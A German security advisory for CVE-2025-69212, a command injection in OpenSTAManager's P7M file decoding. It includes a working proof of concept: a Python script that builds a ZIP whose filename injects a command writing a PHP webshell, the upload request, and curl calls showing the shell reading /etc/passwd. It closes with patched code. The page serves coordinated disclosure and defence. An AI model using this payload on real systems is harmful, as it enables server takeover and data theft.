
CVE-2025-69212 - OpenSTAManager has an OS Command Injection in P7M File Processing
| Feld | Details |
|---|---|
| CVE ID | CVE-2025-69212 |
| Schweregrad | KRITISCH |
| Sicherheitshinweis | Sicherheitshinweis anzeigen |
| Entdeckt von | Lukasz Rybak |
Eine kritische OS-Befehlseinschleusungssicherheitslücke existiert in der Dekodierungsfunktion von P7M-Dateien (signiertes XML). Ein authentifizierter Angreifer kann eine ZIP-Datei mit einer .p7m-Datei mit einem bösartigen Dateinamen hochladen, um beliebige Systembefehle auf dem Server auszuführen.
Datei: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
Das Problem:
$file wird direkt an exec() ohne Bereinigung übergebenplugins/importFE_ZIP/actions.php:126 (wenn der automatische Import aktiviert ist)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (Konstruktor)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m-Dateien wird decodeP7M() aufgerufenexec()-Befehl eingeschleust⚠️ WICHTIGER HINWEIS: PHP's ZipArchive::extractTo() teilt Dateinamen am /-Zeichen. Das Payload darf KEIN / in Befehlen enthalten. Verwenden Sie cd directory && command anstelle von absoluten Pfaden.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Antwort (500-Fehler wird erwartet - XML-Parsing schlägt NACH Befehlsausführung fehl):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Bestätigung - Webshell erstellt:
Webshell ist ohne Authentifizierung öffentlich zugänglich:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Vollständige /etc/passwd-Ausgabe]
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
oder
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Entdeckt von: Łukasz Rybak
Diese CVE wurde verantwortungsbewusst im Rahmen koordinierter Offenlegungspraktiken offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.